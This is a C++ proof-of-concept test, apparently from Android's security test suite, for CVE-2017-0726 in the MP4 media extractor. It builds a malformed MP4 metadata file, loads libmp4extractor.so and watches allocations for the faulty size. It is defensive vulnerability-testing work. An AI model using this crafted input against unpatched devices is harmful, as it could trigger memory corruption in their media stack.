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144 lines
4.8 KiB
144 lines
4.8 KiB
/**
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* Copyright (C) 2020 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include "../includes/common.h"
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#include "stdlib.h"
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#include "../includes/memutils_track.h"
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#include <android/IMediaExtractor.h>
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#include <datasource/DataSourceFactory.h>
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#include <dlfcn.h>
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#include <media/DataSource.h>
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#include <media/IMediaHTTPService.h>
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#include <media/stagefright/DataSourceBase.h>
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#include <media/stagefright/MediaExtractor.h>
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#include <media/stagefright/MetaData.h>
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unsigned char mp4_data[] = {
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0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
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0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
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0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
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0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
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0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
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0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
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0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
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0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
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0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
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0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
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0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
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0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
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#if _32_BIT
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#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
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#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
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#elif _64_BIT
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#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
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#define LIBNAME_APEX \
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"/apex/com.android.media/lib64/extractors/libmp4extractor.so"
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#endif
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#define TOTAL_SIZE 524432
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#define DATA_SIZE 144
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#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
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#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
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char enable_selective_overload = ENABLE_NONE;
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using namespace android;
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bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
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int main() {
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GetExtractorDef getDef = nullptr;
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FILE *fp = fopen(TMP_FILE, "wb");
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if (!fp) {
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return EXIT_FAILURE;
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}
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char zero_array[TOTAL_SIZE - DATA_SIZE];
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memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
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/* Write mp4 stream */
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fwrite(mp4_data, 1, DATA_SIZE, fp);
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/* Append 0's to create custom PoC */
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fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
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fclose(fp);
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void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
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if (!libHandle) {
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libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
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if (!libHandle) {
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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}
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getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
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if (!getDef) {
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dlclose(libHandle);
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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sp<DataSource> dataSource =
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DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
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if (dataSource == nullptr) {
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dlclose(libHandle);
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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void *meta = nullptr;
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void *creator = nullptr;
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FreeMetaFunc freeMeta = nullptr;
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float confidence;
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if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
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creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
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&meta, &freeMeta);
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} else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
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creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
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&meta, &freeMeta);
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}
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if (!creator) {
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dlclose(libHandle);
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
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if (ret == nullptr) {
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dlclose(libHandle);
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remove(TMP_FILE);
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return EXIT_FAILURE;
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}
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if (meta != nullptr && freeMeta != nullptr) {
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freeMeta(meta);
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}
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sp<MetaData> metaData = new MetaData();
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MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
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new MediaExtractorCUnwrapper(ret);
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enable_selective_overload = ENABLE_MALLOC_CHECK;
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mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
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enable_selective_overload = ENABLE_NONE;
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remove(TMP_FILE);
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dlclose(libHandle);
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return EXIT_SUCCESS;
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}
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